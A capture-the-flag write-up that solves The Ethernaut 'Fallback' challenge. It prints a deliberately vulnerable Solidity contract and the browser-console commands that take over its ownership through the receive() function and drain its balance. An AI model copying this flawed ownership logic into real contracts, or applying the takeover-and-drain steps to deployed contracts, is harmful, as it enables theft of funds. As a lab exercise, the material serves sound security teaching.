The goal of this challenge is to:

  1. Claim ownership of the contract
  2. Reduce its balance to 0

The challenge contract is the following:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

Interacting with the contract is quite easy when solving The Ethernaut challenges:

  1. After connecting our Metamask wallet, click on “Get New Instance”:

    alt text

  2. After approving the transaction, the contract address will be shown in the browser’s javascript console:

    alt text

  3. Now, we can interact with the contract using the javascript console via the contract object.

For example, if we want to calll the getContribution function, we can execute this line:

await contract.getContribution()

alt text

My contribution at this point is, of course, 0.

Claiming ownership

Now that we know how to interact with the contract, let’s analyze the contract. We need to takeover its ownership, so let’s search for code that changes the owner variable. The functions that do so are:

  • contribute:

    function contribute() public payable {
         require(msg.value < 0.001 ether);
         contributions[msg.sender] += msg.value;
         if (contributions[msg.sender] > contributions[owner]) {
             owner = msg.sender;
         }
     }
    

    As we can see, we would need to send more ether than the owner “sends” in the constructor, which is 1000 ether, so we’d better find another way to modify the ownership.

  • receive:

    receive() external payable {
         require(msg.value > 0 && contributions[msg.sender] > 0);
         owner = msg.sender;
    }
    

    The receive function is a special function in solidity smart contracts. It is an external payable function that is triggered when a contract receives ether with an empty calldata. Contracts, as standard EOAs, can hold ether and other contracts or EOAs can send ether to them. When this happens, the receive function is executed.

The only feasible way to claim ownership of the contract is to execute the receive function. The require statement needs us to send some ether to the contract and to have previously contributed to it. Easy! We can execute these lines in the javascript console:

await contract.contribute({"value": 1}) // 1 wei is enough
await contract.send(1) // send 1 more wei to trigger the receive function

Now, we can verify if we are the owner by calling the owner() function of the contract, which is automatically added to itself because the owner variable is marked as a public one:

await contract.owner()

alt text

which is my public address!

Draining the contract’s funds

Finally, we need to drain the contract. This is easy once we are the owner, as we can call the withdraw function, recovering the huge 2 wei expended on hacking it!

await contract.withdraw()

After that, we can now click on the “Submit instance” button and finish the challenge:

alt text

alt text